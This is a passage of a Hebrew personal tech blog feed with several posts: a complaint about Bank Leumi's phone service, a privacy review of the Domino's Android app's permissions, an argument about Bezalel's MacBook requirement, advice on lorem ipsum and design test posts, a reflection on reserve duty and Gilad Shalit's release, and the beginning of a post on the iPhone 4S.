בסופו של דבר, היות ואני בדרך כלל לא משתמש בשירותי לאומי-קול כמובן שלא זכרתי את הסיסמא שלי וכך, לאחר 3 הקלדות כושלות הועברתי אל בנקאי שאמור היה לאמת את זהותי ואז להחזיר אותי למערכת לטובת הרכבת סיסמא חדשה. השיחה התנהלה בערך ככה:
בנקאי: שם?
אני: כך וכך
בנקאי: מספר חשבון?
אני : זה וזה
בנקאי: טוב, אני מעביר אותך… הנה סט חוקים להרכבת סיסמא.

אני רוצה להאמין שהתהליך היה קצר כל כך כי התקשרתי ממספר הטלפון המקושר אל חשבון הבנק שלי, אבל כשחושבים על זה, אם מישהו גנב לכם את התיק שבו הסלולר והארנק הרי שאלו מספיק פרטים כדי להשיג גישה אל חשבון הבנק שלכם.

משהסתיימה הסאגה הזו, והגעתי סוף סוף אל הנציג התברר שגם לו אין שום מושג מהם החיובים המדוברים והוא שלח אותי להתקשר אל מוקד לאומי-קארד – ושוב, מערכת ניתוב קולי לא ידידותית שמי שתכנן אותה לא הפגין חוכמה יתרה או שהוא סתם עקשן.
ראשית, יש להקליד את מספר תעודת הזהות, ועד כאן הכל טוב ויפה, רק שהבקשה הבאה היא להקליד את 4 הספרות האחרונות של מספר כרטיס האשראי. אם לאומי קארד היו טורחים להעביר אל בנק לאומי קצת יותר מידע הייתי יודע באיזה כרטיס מדובר אבל מבלי לדעת הנחתי שאם פשוט אלחץ # מבלי להקליד מספר אופנה לנציג תחת הסיווג של "שאלה כללית". לצערי – לא כך הדבר, ורק אחרי 8 הקלדות של מספרים שגויים, מספרים ארוכים במיוחד או ריקים הופנתי כלאחר כבוד אל נציגה.

רק שמסתבר שלאומי כארד עובדת בצורה חובבנית לא רק אל מול הבנק אלא גם אל מול המערכות הפנימיות שלה. במערכת אידיאלית הטלפנית הייתה מקלידה את מספר תעודת הזהות שלי ומקבלת רשימה של הכרטיסים המשוייכים ועיסקאות אחרונות, אבל פה – היא נותרה ללא מענה – לא מסוגלת לראות את שני החיובים הללו. גם כשהצעתי לתת לה את מספר האסמכתה, אולי על פיו תוכל לקבל פירוט, הסבירה לי הטלפנית שאין באפשרותה לעבוד בצורה זו.

בסופו של דבר הקלדתי את מספרי האסמכתות במנוע החיפוש של הבנק והמספר הראשון החזיר את הכרטיס הרלוונטי, ברגע שידעתי באיזה כרטיס מדובר הבנתי במה מדובר – מסתבר שבלאומי קארד, במקום לחייב הוצאות של עיסקאות בחו"ל פעם בחודש ביחד עם החיוב של הכרטיס, מבצעים אותן מקומית אל מול הבנק בתאריך העיסקה – התוצאה כאמור – עיסקה על הסכום השקלי ללא שום יחוס או הסבר. מכשהתבררה השיטה גם החיוב השני התברר במהירות ואחרי כ 5 דקות נוספות הצלחתי לנתב את הטלפנית כך שתגיע אל התוצאה הזו בעצמה.

איך זה היה צריך להיות
בעולם אידיאלי – לא הייתי אמור להתקשר בכלל, אלא לקבל את המידע הזה ישירות מהמערכת של לאומי דיגיטל. לרוע המזל, מלבד מספר מצומצם של עיסקאות מתועדות, ברוב המקרים אי אפשר לדעת במערכת של בנק לאומי מי, מה ולמה. הדבר מרתיח במיוחד כאשר מדובר בבנק לאומי וחטיבת כרטיסי האשראי שלו – לאומי כארד – שני גופים שקשורים זה לזה ואמורים לדעת לפעול היטב ביחד.
על חיוב שכזה, היה אמור להופיע, לכל הפחות, רישום בסיסי המסביר באיזה כרטיס בוצע החיוב ובאיזה בית עסק – מידע שהוא חיוני והכרחי – אך לא קיים לצערי.

לדרג את הפוסט
0

הפוסט במלתעות לאומי פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
https://n2b.org/archives/2310/feed 2 2310
הפיצה הזו חמה, מדי https://n2b.org/archives/2300 https://n2b.org/archives/2300#comments Tue, 20 Dec 2011 12:51:52 +0000 http://n2b.org/?p=2300 האם פיצה דומינוס עוקבת אחריכם? האם היא מצלמת אתכם בחשאי? האם התקנתם את האפליקציה של דומינוס לאנדרואיד מבלי לקרוא את ההרשאות שהיא מבקשת?

הפוסט הפיצה הזו חמה, מדי פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
אחרי שהשיקו לפני כחודשיים אפליקציה לאיפון, וכדי להשקיט את הקולות הזועמים בעמוד הפייסבוק שלהם, שיחררה אתמול דומינוס פיצה גירסה ראשונית של האפליקציה לאנדרואיד אל המרקט. מדובר בגירסה ראשונית כאמור, היא מכילה באגים, לא עובדת כשורה בכל הרזולוציות ומצריכה גירסה 2.2 לפחות.

ניגשתי אל עמוד ההורדה של האפליקציה, וכהרגלי בקודש, הצצתי קודם כל בהרשאות שהאפליקציה דורשת לצורך ההתקנה – וקיבלתי חום. יש שתי תשובות הגיוניות לרשימת ההרשאות הנדרשת, הראשונה – שהמפתח של דומינוס פשוט העתיק את הקטע שמטפל בהרשאות כמות שהוא מתוך איזושהי דוגמא. השניה – שמשהו רע מתרחש ממתחת למכסה המנוע.

אז הנה רשימת ההרשאות, כולל הסבר מה אפשר לעשות עם כל אחת מהן. יש גם צילומסך לטובת העתיד.

HARDWARE CONTROLS – TAKE PICTURES AND VIDEOS

כן, פשוטו כמשמעו – כל זמן שהאפליקציה רצה, היא יכולה לגשת אל רכיב המצלמה לצלם תמונות ולהקליט וידאו. למה זה טוב? לא יכול לראות שום סיבה בשביל זה. מה אפשר לעשות עם זה? ובכן, אם את נוהגת להזמין את הפיצה שלך בעירום, הייתי חושב פעמיים לפני שימוש באפליקציה הזו.

YOUR LOCATION ( COARSE (NETWORK-BASED) LOCATION & FINE (GPS) LOCATION )

השימוש במיקום יכול לעזור על מנת לקצר את תהליך ההזמנה ולטעון מראש את הסניף הרלוונטי. כך, אם אתם בחיפה או באילת – ברגע שתפתחו את האפליקציה הסניף הרלוונטי כבר יופיע מסומן. מה עוד אפשר לעשות עם זה? לפלח את הרגלי הצריכה שלכם על בסיס המיקום ולהשתמש בזה כאלמנט "שיווקי". כל פעם שאתם אצל יוסי אתם מזמינים פיצה? אז הנה, עכשיו אתם אצל יוסי, אולי תרצו להזמין פיצה.

NETWORK COMMUNICATION – FULL INTERNET ACCESS

היות וההודעה צריכה להישלח אל הסניף בסופו של יום, האפליקציה חייבת גישה לאינטרנט. מצד שני, גישה מלאה אומרת שהיא גם יכולה להעלות את אותן התמונות והסרטונים שהיא צילמה בסעיף הראשון.

NETWORK COMMUNICATION – VIEW NETWORK STATE

ההרשאה הזו מאפשרת לאפליקציה להציץ לכם לרשת, או למעשה, לכל הרשתות. המפתח יכול לדעת דרך איזו רשת אתם מחוברים (אלחוטי, סלולרי) אבל יתכן שהוא יכול לקבל מידע נוסף. אני לא מפתח אנדרואיד ולא מכיר את ההרשאה לעומק, אבל אם האפליקציה מסוגלת למשוך את ה ssid למשל, הרי שבשילוב עם רכיב ה gps (מיקום מדוייק, זוכרים) אפשר לקבל במהירות רבה רשימה של רשתות אלחוטיות על פי מיקום.

PHONE CALLS – READ PHONE STATE AND IDENTITY

ההרשאה הזו מאפשרת לאפליקציה לבדוק את מספר הטלפון ואת המזהה הסיריאלי שלו (IMEI). זה כלי מצויין אם אתם רוצים לבצע קישור של 1:1 במסד הנתונים כדי לזהות את ההזמנה שלכם עם החשבון שלכם. אבל יש פה יותר מזה, ההרשאה הזו מאפשרת לאפליקציה לזהות האם אתם נמצאים בשיחה ואם כן – מה המספר איתו אתם משוחחים. תרחיש אפוקליפטי? דומינוס יכולים לזהות בכל פעם שאתם מחייגים אל פיצה האט או כל מסעדה אחרת שעושה משלוחים ולפלח את המידע הזה.

נשמע קצת פרנואידי? מי שמקבל את פירוט האשראי שלו בדואר בוודאי מכיר את הקופונים הקטנים הללו המצויים בתחתית העמוד. לפני כ 8 שנים רשת בורגראנץ' טרחה ביקשה מחברות האשראי שיוסיפו קופון מבצע שכזה ללקוחות שהזמינו במהלך החודש פיצה אבל לא המבורגר. עכשיו, המידע הזה יכול להגיע ישירות אל הידיים של דומינוס והיא אפילו לא צריכה את הגורם המתווך.

STORAGE – MODIFY/DELETE USB STORAGE CONTENTS MODIFY/DELETE SD CARD CONTENTS

בסדר, סוג של הרשאה שמאפשרת לאפליקציה לשמור מידע אל הזיכרון של המכשיר, אני מניח שנעשה פה שימוש הן בשביל קאשינג והן בשביל לזכור מידע קודם שהוזן.

YOUR ACCOUNTS – DISCOVER KNOWN ACCOUNTS

זו ההרשאה המלחיצה ביותר – היא מאפשרת לאפליקציה לזהות את כל החשבונות המוגדרים במכשיר ולקשר אותם אליכם. מלבד חשבון הגוגל שלכם (אותו בוודאי יש לכם אם הורדתם את התוכנה מהמרקט) האפליקציה יכולה לזהות גם את חשבון הטוויטר והפייסבוק שלכם. אם מותקן לכם חשבון exchange אירגוני, הרי שגם המידע הזה זמין לאפליקציה.

HARDWARE CONTROLS – CONTROL VIBRATOR

ההרשאה הזו מאפשרת לאפליקציה להשתמש ביכולות הרטט של המכשיר, מצויין אם רוצים לתת נוטיפיקציה שהיא לא קולית.

לסיכום
בסופו של יום, כשבודקים את רשימת ההרשאות, יש פה משהו מלחיץ, דומינוס יכולה לעקוב אחרי איפה אני, מה אני עושה, עם מי אני מדבר ואפילו לאשש את זה עם תמונות ווידאו. כיצד המידע הזה מגיע לידי מימוש בפועל? אין לי מושג, אני מאוד רוצה להאמין שהמפתח פשוט זרק בלוק קוד בלי לשים לב למה הוא עושה, אבל בהתחשב בפוטנציאל המסחרי שיש למידע שכזה, אני לא אתפלא אם זה מידע שנאסף ומפולח מתוך מחשבה מקדימה.

עדכון
מסתבר שאני לא היחיד ששם לב לנושא, מישהו שאל את דומינוס בעצמו בעמוד שלהם לגבי ההרשאות וקיבל תשובות מבישות עד מביכות

הנושא הוזכר גם בתגובות לפוסט הזה ב iandroid .

לדרג את הפוסט
0

הפוסט הפיצה הזו חמה, מדי פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
https://n2b.org/archives/2300/feed 2 2300
אל תקרא לי צבוע https://n2b.org/archives/2285 https://n2b.org/archives/2285#comments Fri, 18 Nov 2011 23:55:38 +0000 http://n2b.org/?p=2285 בבצלאל דורשים מהסטודנטים לרכוש מחשב ב 9000 שקלים. ארז רונן חושב שאני צבוע כי אני לא מסכים עם זה.

הפוסט אל תקרא לי צבוע פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
ביום ראשון חשף עידו קינן כי בבצלאל דורשים מהסטודנטים לרכוש מקבוק, ולא סתם מקבוק אלא דגם ספציפי מאוד שעולה מעל ל 9000 שקלים. בתגובה כתב ארז רונן כי בעצם, מי שמתרעם על הרכישה של מקבוק בבצלאל הוא צבוע.
הפוסט של ארז גרם לי לעשות פחחחח אחד גדול, ואז עוד כמה קטנים. הפוסט של ארז הוא מטופש ובכייני במקרה הטוב, שלא לדבר על כך שהוא חוטא לעובדות. הסיבה שבגינה, לדעת ארז, לגיטימי לדרוש מק – כי בבית הספר עבדנו על מוצרים של מיקרוסופט.

למה צבוע? כי אם כל כך מפריע לכם שמוסד חינוכי בישראל מכריח את תלמידיו לרכוש מוצר טכנולוגי של חברה מסוימת, הייתם צריך לצאת כבר לפני שנים רבות נגד משרד החינוך והדרכים הרבות בהן הוא מכריח את כל תלמידיו להשתמש במוצרי מיקרוסופט.
החל מבית הספר היסודי לומדים התלמידים להשתמש ביישומי Office על מערכת Windows (ככה זה כשמיקרוסופט מציעה למשרד החינוך רישיונות בזיל הזול). את אותם תלמידים מכריחים בצורה מעשית להשתמש בתוכנות אלה כששולחים להם דפי עבודה בפורמט doc ולא מאפשרים להם להגיש מטלות דיגיטליות בפורמטים אחרים.

את כל התואר שלי עשיתי על גבי לפטופ ומחשב נייח שהריצו אובונטו. המרצים שלחו doc, אני שלחתי doc בחזרה – הרוב נעשה בתוכנת אופן אופיס, חלק אחר נכתב תחת המטריה של גוגל-דוקס. נכון, בחלק מהמקרים נזקקתי לשירותיה של מיקרוסופט, למשל בקורס של מודלים כלכליים שם עבדנו עם אקסל. כמובן שכל הפונקציות להן נדרשנו היו זמינות גם בא"א, אבל שטויות, גם ככה יש חוות מחשבים שזמינה לכל דכפין.

וזה בדיוק ההבדל, אף אחד לא הגדיר לי איך עלי לעבוד או איזה מחשב עלי לרכוש, מבחינת המרצים – כל זמן שהעבודה נעשתה כשורה הכל היה בסדר. וכשחזרתי מהטיול בתאילנד עם ה Acer aspire one עם מסך 8.9" ומעבד Atom, השתמשתי בו כתחליף לפטופ למשך תקופה, ולמרבה הפלא, הוא עשה את עבודתו נאמנה.

ארז רונן פיספס את הנקודה ובגדול, במקום זה יצא לו פוסט עצוב עם ניחוח של פאנבוי. מה הנקודה? הנה היא:

אתם צריכים לנשום אפל", נימק ראש מחלקה בבצלאל את הדרישה מכל הסטודנטים לקנות מקבוק פרו, שעולה כפול מלפטופ פי.סי מקביל

אם היו אומרים לתלמידים לרכוש מק כלשהו לצרכי עבודה, ניחא, הייתי מקבל את זה. סה"כ למרות מה שאומר דורון וולף, במקומות רבים עדיין עובדים עם מק וכדאי ורצוי שהסטודנטים יכירו גם את מערכת ההפעלה הזו כשיצאו אל השוק. אבל לא זה מה שנאמר להם אלא הוגדר להם לרכוש את המקבוק פרו 15.6 דרך אידיגיטל.
רגע, האם יתכן שהמקבוק פרו 13.3 לא יעשה את אותה העבודה שהדגם של ה 15.6 כן יכול? ומה אם סטודנט מעדיף, מטעמי חיסכון, לרכוש מחשב יד שניה מלפני שנה או שנתיים? הרי כל מקיסט יודע לספר ניסים ונפלאות בזכות המק שלו ואיך גם אחרי 4 ו 5 שנים הוא עדיין מסוגל לבצע את העבודה. אם כן, מה רע בדגם של לפני שנתיים?
ואם קיימת מעבדת מחשבים מבוססת OS-X, ועל פי הצהרתו של ראש המחלקה היא לא תיסגר במשך 3 השנים הבאות, מדוע שלא ירכוש אותו סטודנט איזה מק-מיני שישב אצלו בבית ויעבוד עם התקן איכסון נייד?

ולבסוף שאלת השאלות – מה מסוגל המק לעשות שלפטופ המריץ חלונות ב 4000 שקלים אינו יכול? התשובה היא כמובן להיות סמל סטטוס. אם אתם רוצים מחשב יפה כמו מק, תצטרכו לשלם סכום דומה למחיר של מק.

אבל את ראש המחלקה בבצלאל כנראה לא מעניין המקצועיות של הסטודנטים או היכולת שלהם לעמוד במשימות, מה שכן מעניין אותו זה שהסטודנטים "ינשמו אפל" מה שכמובן מזכיר לי את הפרסומת הזו.

בעולם שבו כולם משתמשים במוצרי pc, מתנהגים זהה, מתהלכים זהה, נראים זהה – אפל היא חידוש. והנה עברו השנים והתהפכו היוצרות, בכל פעם שאני עולה לרכבת ורואה את כמות האנשים שיושבים עם האוזניות הלבנות אני נזכר בפרסומת הזו.

לדרג את הפוסט
1

הפוסט אל תקרא לי צבוע פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
https://n2b.org/archives/2285/feed 5 2285
איפסום חייב למות https://n2b.org/archives/2270 https://n2b.org/archives/2270#comments Mon, 24 Oct 2011 10:18:11 +0000 http://n2b.org/?p=2270 אני לא חושב שיש מעצב או מפתח שלא נתקל בלורם איפסום מימיו, הטקסט הזה, שאפילו זכה בזמנו לספר שירה קצרה פרי עטו של תומר ליכטש, הוא כלי עזר למעצבים ומפתחים בעיצוב של תוכן מאז ומתמיד. על פי וויקיפדיה המקור של לורם איפסום הוא במאה ה 14 והנוסח הנוכחי הוא מאמצע המאה ה 20. ככלי ראשוני […]

הפוסט איפסום חייב למות פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
אני לא חושב שיש מעצב או מפתח שלא נתקל בלורם איפסום מימיו, הטקסט הזה, שאפילו זכה בזמנו לספר שירה קצרה פרי עטו של תומר ליכטש, הוא כלי עזר למעצבים ומפתחים בעיצוב של תוכן מאז ומתמיד. על פי וויקיפדיה המקור של לורם איפסום הוא במאה ה 14 והנוסח הנוכחי הוא מאמצע המאה ה 20.

ככלי ראשוני להזנת תוכן ולהעמסת נפח הלורם איפסום ממלא את תפקידו לא רע בכלל, בטח יותר טוב מאותו "דג קטן שט בים" שמשוכפל בוורד אלפי פעמים כדי לייצר פיסקה. הבעיה היא, שאתרי אינטרנט אינם ספרים, והם מכילים הרבה יותר אלמנטים מרק פיסקאות של טקסט.

רק לפני מספר ימים ישבתי עם אדם שהגיש פרוייקט לזירת פרילאנסרים כזו או אחרת ולקח את ההצעה "המשתלמת ביותר" (כלומר הבחור שרצה הכי פחות). היות והמעצב השתמש רק בלורם איפסום כדי להזין טקסט אל תוך הסקיצות, הרי שאותו מפתח התיחס אך ורק לטקסט הזה וטרח לעצב רק אותו. כשאותו אדם התחיל להזין את התוכן האמיתי הוא גילה לצערו שיש לא מעט תיקונים שיש לעשות על מנת שהטקסט יוצג כמו שצריך. מישהו פעם שאל אותי מה ההבדל בין תוכניתן למפתח, אני חושב שהדוגמה הזו היא דוגמה מצויינת להבדל שכזה.

אז איזה אלמנטים יש לנו בטקסט?
פיסקאות – זה הקטע הבסיסי ולורם איפסום רגיל מטפל בזה
ציטטה – לציטטה יש טיפול דיפולטי שמוגדר בדפדפן עצמו, אבל הוא בסיסי למדי ולעיתים נרצה להתאים אותו
קוד – בלוק קוד הוא בעייתי בעיקר בעברית כי לרוב נרצה להשתמש בו כדי להציג טקסט באנגלית משמאל לימין, אך היות ומדובר באלמנט שמוצג inline ולא כ block זה אחד האלמנטים המתסכלים יותר לטיפול.
טבלאות – הרבה פעמים אני פוגש טבלאות נוראיות, ברמת המסגרת ותו לא, אבל טבלאות הן אלמנטים עם שלל תתי אלמנטים שדורשים לא מעט התיחסות. אני אקדיש לטבלאות פוסט בעתיד הקרוב.
רשימות – רשימות יכולות להיות ממוספרות או בתבליטים, אבל גם לתבליטים ניתן להגדיר שלל סוגים, צריך להתיחס כמובן גם לתתי רשימות וכן הלאה.
תמונות – כשמכניסים תמונה לפוסט בוורדפרס ניתן לבחור האם היא תוצמד לימין, לשמאל, למרכז או לא תוצמד כלל. אפשר להגדיר שיהיה לה כיתוב (caption) או שתהייה ללא – לכל אחת מההגדרות הללו, יש צורך בהגדרה עיצובית תואמת. דבר נוסף שיש לקחת בחשבון – הגדרת גבול לתמונה – פעמים רבות מתוך חוסר תשומת לב לא מבטלים את הגבול לתמונה וברגע שהיא קישור, בדפדפנים פחות מתקדמים, היא תוקף אוטומטית במסגרת כחולה.
לינק – ללינק עצמו יש 4 מצבים – רגיל, במעבר עכבר, בתגובה לקליק ולינק שכבר ביקרנו בו – הדיפולט, לרוב מכוער.
משקלים ונטיות – האם ידעתם שהגדרה של טקסט בערבית ככתב נטוי (italic) – תגרום לטקסט להופיע כריבועים? מסתבר שרוב הפונטים הערבים לא תומכים בכתב נטוי בערבית (ככל הנראה זה לא באמת קיים) ולכן הטקסט מוצג כריבועים המוכרים מבעיות קידוד. מי שלא לוקח דבר שכזה בחשבון, או לא מודע לנושא עלול למצוא עצמו מתוסכל למדי. אם אתם משתמשים בפונטים מוטמעים, תגלו פעמים רבות כי פונטים שכאלו אינם מכילים את כל סוגי המשקלים אלא מחולקים לפונטים נפרדים. כך יש פונט אחד עבור bold, פונט אחר עבור normal או italic וכדומה. אם לא לוקחים דברים שכאלה בחשבון בזמן בדיקות – התוצאה עלולה להתגלות מאוחר מדי.

אז מה הפיתרון?

הפיתרון הוא כמובן פוסט בדיקה שרצוי, מומלץ ואף חובה להתקין לפחות על שרת הבדיקות כדי לראות שכל האלמנטים הגרפיים מעוצבים כנדרש. לטובת העיניין אני מצרף פה שני קבצים – קובץ css המכיל את מירב הסלקטורים שיכולתי לחשוב עליהם וכדאי לקחת בחשבון. בנוסף, קובץ html המכיל תוכן של פוסט וורדפרס אותו יש לפרסם כפוסט חדש. חשוב לשים לב שאת הפירסום יש לבצע במצב HTML ולא במצב עורך עשיר. כמו כן, הקפידו לפתוח את קובץ הטקסט בעזרת תוכנה כדוגמת Notepad ולא Word שעלולה לזרוק זבל עיצובי משלה אל תוך הקוד.

שכחתי אלמנט כלשהו? יש לכם משהו להוסיף? בתגובות.

לדרג את הפוסט
0

הפוסט איפסום חייב למות פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
https://n2b.org/archives/2270/feed 6 2270
ברוך שובך גלעד – מחשבות לא סדורות https://n2b.org/archives/2263 https://n2b.org/archives/2263#comments Tue, 18 Oct 2011 08:46:43 +0000 http://n2b.org/?p=2263 אזהרה: הפוסט הזה הוא בעיקר אמוציונאלי, זה אומר שהוא יהיה מבולגן, מצטער אם לא טוב לכם, כרגע, גם לי לא כל כך. אני עולה ללבנון בקרוב, לא סתם ללבנון, אלא לאותה גיזרה ארורה שבה נחטפו אהוד גולדווסר ואלדד רגב באירוע שסימן את פתיחת מלחמת לבנון השניה. היינו בסקירת גיזרה למפקדים לא מזמן, כמובן שטרחו להראות […]

הפוסט ברוך שובך גלעד – מחשבות לא סדורות פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
אזהרה: הפוסט הזה הוא בעיקר אמוציונאלי, זה אומר שהוא יהיה מבולגן, מצטער אם לא טוב לכם, כרגע, גם לי לא כל כך.

אני עולה ללבנון בקרוב, לא סתם ללבנון, אלא לאותה גיזרה ארורה שבה נחטפו אהוד גולדווסר ואלדד רגב באירוע שסימן את פתיחת מלחמת לבנון השניה. היינו בסקירת גיזרה למפקדים לא מזמן, כמובן שטרחו להראות לנו איפה זה קרה, באותה הזדמנות הסבירו לנו שאותם מוצבי חיזבאללה שאנחנו רואים בכל מקום הם לא הבעיה. הבעיה, היא כל אותם המוצבים שאנחנו לא מסוגלים לראות. כאלה שחפורים בתוך היער, בין העצים וגם אם תדרוך עליהם לא תדע שהם שם.

אני אהיה בן 34 בינואר הקרוב, זה אומר שמלבד אותן שלוש שנים כלוחם בסדיר, אני גם עושה מילואים כבר 11 שנים בערך. זה גם אומר שהפעם הקודמת שהסתכלתי על גדר הגבול הזו הייתה מהצד השני שלה לפני שעוד מלאו לי 20. זו גם הייתה הפעם הראשונה שיצא לי להתמודד עם מוות של חבר. זו לא הייתה הפעם הראשונה בה פגשתי במוות, סה"כ התנדבתי במד"א מאז גיל 16 ועד לגיוס וכמות הפעמים שבהן זכיתי ב"תענוג" המפוקפק של להכניס גופה אל "האגף השקט" ברמב"ם מצריכה יותר אצבעות מאשר יש לי.
לא הייתי שם כשאושרי שוורץ נשרף למוות, סה"כ הוא היה בגולני ואני בגבעתי. את המידע הזה קיבלתי בדמות החיוך שלו על השער הראשי של ידיעות אחרונות שהגיע אל הבסיס עם אחד החיילים ביום ראשון. לקח לי רגע לעכל שזה באמת היה הוא, אחר כך, כבר כלום לא עיניין אותי. זה לא שלא ידעתי שאפשר לההרג בלבנון, זה שפשוט ההבדל בין לדעת ללהפנים הוא עצום.

מור אלרז היה הבא, ב 2002 כבר השתחררתי מהצבא והייתי סטודנט בטכניון, אבל מור, שהיה קצין בפלוגה שלי, המשיך הלאה בדרגות. עד שיום אחד, בעת התקלות בעזה, המחבלים הרגו אותו, ואז ביצעו וידוא הריגה ואז חוררו אותו עוד קצת בשביל הכיף.

שנה מאוחר יותר, גיליתי שגם במילואים, אתה לא חסין. עמי כהן נהרג כאשר כוח מפלוגת המילואים שלי יצא למעצר של מבוקש. עלי עלאן הסתתר מאחורי דלת ותפר אותו בעת ניסיון מעצר. אותו עלי עלאן אגב היה עצור בישראל בשנים 94-99, ושוחרר מהכלא בעקבות הסכמים עם הפלסטינאים, באופן לא מפליא בכלל הוא חזר לטרור והיה אחראי לתכנון מספר פיגועים גדולים בהם נהרגו כמה עשרות ישראלים (חיפה – 17, צומת פת בירושלים – 19, קריית מנחם – 12)

ובכל זאת, פעם בשנה (לפחות) אני עושה פאוז לחיים שלי, מחליף משרד עם מחשב ומזגן בשכפ"ץ קרמי וג'יפ ממוגן. אני לא שם כי אני רוצה להיות שם, אני שם כי מישהו צריך להיות שם. כי לא משנה כמה פנאטים הזויים שמשוכנעים שאני סוג של פושע מלחמה יזעקו, בסופו של יום מישהו צריך להיות שם במחסום כדי למנוע מחגורת הנפץ להגיע לישראל, ומישהו צריך לבצע את המעצר כדי שהמחבל שאמור היה להתפוצץ בישראל לא יגיע אליה. ומישהו צריך לעשות את המארב ההוא בהרי ירושלים כדי לתפוס את אותו מחבל בדרך לישראל.
וזה עובד וזו הסיבה העיקרית שכמות פיגועי ההתאבדות בישראל ירדה פלאים. לא החומה ולא "הסכמים" או רצון לשלום – אלא עבודה קשה ומאומצת של מודיעין ולוחמים שעוצרים את הפיגוע הבא עוד לפני שהוא קרוב להיות פיגוע.

יש אנשים שמתנדבים למילואים, אני מסופק אם אני אעשה את זה. ביום שבו יגידו לי תודה, אתה משוחרר קרוב לוודאי שאני אקום ואלך מבלי להסתובב לאחור. גם כך, בשנים האחרונות, מאז שיש לי אישה וילדה, כל תקופה כזו מלווה בהרבה יותר פחד, חשש ודאגה.

ויש את גלעד, שבדיוק כמוני נשלח על ידי המדינה לבצע משימה. הוא לא התנדב, צה"ל הוא לא צבא מקצועי אלא צבא גיוס חובה. הוא נחטף מתוך שטח מדינת ישראל, והוחזק בשבי במשך 5 שנים מבלי לראות עורך דין, משפחה, או אפילו נציג של הצלב האדום או כל גוף אחר. והנה פה צובט הלב, כי מצד אחד, לו הייתי במקומו, הייתי רוצה שמדינת ישראל תעשה כל שביכולתה כדי לשחרר אותי. אנחנו יכולים לדבר עד מחר אם המחיר הוא גבוה או נמוך, האם 20 מחבלים יותר או פחות זה מה שיעשה את ההבדל, אבל בסופו של דבר, כלום לא היה מעניין אותי מלבד לדעת שהמדינה ששלחה אותי בשמה, תיקח את האחריות להחזיר אותי.

ומצד שני, 1000 המחבלים הללו יחזרו אל שורות החמאס, הם לא מביעים חרטה, אין להם סיבה, הם חוזרים כגיבורים. ואחרי שהחגיגות יגמרו, הם ירדו אל מתחת לרדאר ויתחילו לתכנן את הפיגוע הבא, את חטיפת החייל הבאה, את מתקפת הגראדים הבאה או כל דבר אחר.

השאלה היא לא האם העיסקה הזו תעלה לנו בחיי אדם, השאלה היא מתי זה יקרה וכמה אנחנו נשלם. וזו, שאלה קשה מאוד עם תשובה כואבת עוד יותר.

ועדיין, איפה עובר הגבול? אם משחררים מחבל אחד אז מדוע לא 2 ואם 2 אז מדוע לא 4. ואולי בכלל עדיף לנו לנקות את בתי הכלא שלנו מהמחבלים?

מה המסקנה? אין לי בשלב הזה, אני שמח בשביל משפחת שליט שמקבלת את הילד שלהם בחזרה אחרי 5 שנים, ומצד שני אני קורא את הדברים שאומרים אנשים שקרובי משפחתם נרצחו על ידי מחבלים שהיום משוחררים וכואב לי גם בשבילם.

ובכל זאת, אני עולה ללבנון בקרוב, לאותו מקום שבו נחטפו אלדד ואהוד לפני 5 שנים, למקום שהוא כל כך יפה ופסטורלי אבל יכול ברגע אחד להתפוצץ לך בפנים.

לדרג את הפוסט
0

הפוסט ברוך שובך גלעד – מחשבות לא סדורות פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
https://n2b.org/archives/2263/feed 2 2263
iכזבה? לגמרי מהלך עיסקי https://n2b.org/archives/2252 https://n2b.org/archives/2252#comments Wed, 05 Oct 2011 19:05:25 +0000 http://n2b.org/?p=2252 ההייפ סביב אירוע ההשקה של אפל אתמול וההתרגשות לקראת ההכרזה המצופה על האיפון 5 מזכירה את הבדיחה על העארס שמתאבד על ידי קפיצה מהאגו לאיקיו. אנשים כל כך ציפו לבואו של האיפון 5 והרשת הוצפה בשלל ספקולציות לגבי המכשיר החדש – ולבסוף – אפל הכריזה על ה 4S ואיכזבה את כולם. הציפיות השתנו מאדם לאדם, […]

הפוסט iכזבה? לגמרי מהלך עיסקי פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
ההייפ סביב אירוע ההשקה של אפל אתמול וההתרגשות לקראת ההכרזה המצופה על האיפון 5 מזכירה את הבדיחה על העארס שמתאבד על ידי קפיצה מהאגו לאיקיו. אנשים כל כך ציפו לבואו של האיפון 5 והרשת הוצפה בשלל ספקולציות לגבי המכשיר החדש – ולבסוף – אפל הכריזה על ה 4S ואיכזבה את כולם.

הציפיות השתנו מאדם לאדם, סרטוני קונספט מופרכים יותר ופחות הסתובבו ביוטיוב ומעל לכל המקהלה המגוחכת הזו ניצחה ה"תקשורת" עם שלל מאמרים שריכזו את שלל השמועות כאילו היו מקורות מידע מהימנים. האמת, שכל מי שמסתכל על ההתנהלות של אפל בשנים האחרונות היה אמור להבין שאין שום מצב שאפל תחשוף את האיפון 5, לא בשלב הזה. האיפון 4S הגיע כי זו הטקטיקה של אפל מאז האיפון הראשון, כי זה בדיוק הזמן בשבילו.

כשיצא האיפון הראשון, הוא נמכר עם תג מחיר של 500-600 דולר (8 – 4 ג'יגה), חודשיים לאחר ההשקה, כאשר הרגישה אפל שמיצתה את שוק המאמצים המוקדמים הורידה החברה את מחיר המכשיר ב 200$. הלקוחות שכבר קנו את המכשיר היו ממורמרים וכעסו (ובצדק) וסטיב אפילו טרח להתנצל והציע פיצוי של 100$ בחנות של אפל.

האיפון הראשון הוחלף על ידי האיפון השני שנקרא גם iPhone 3G. הסיפרה 3 לא הגיעה מהיותו השלישי אלא כציון על העובדה שבניגוד לאיפון הקודם שפעל על רשת ישנה, האיפון השני עובד על רשת ה 3g. עברה לה שנה נוספת והינה שוב כנס השקה. הפעם אפל הציגה את האיפון 3GS – אותו עיצוב, אותה ניראות, רק יותר מהיר.
האיפון הרביעי הוא אכן האיפון הרביעי בסידרה, אבל הוא גם הראשון שנשא מספר שמייצג את מספרו בתור. האיפון הראשון שווק כאיפון והכינוי "הראשון" הוצמד לו רק בדיעבד כאשר אפל הציגה את ממשיכיו. האיפון השני מעולם לא נקרא השני וגם השלישי שאכן נשא את הסיפרה 3 בשמו, עשה זאת רק כי הוא גירסה משודרגת של הדגם הקודם.

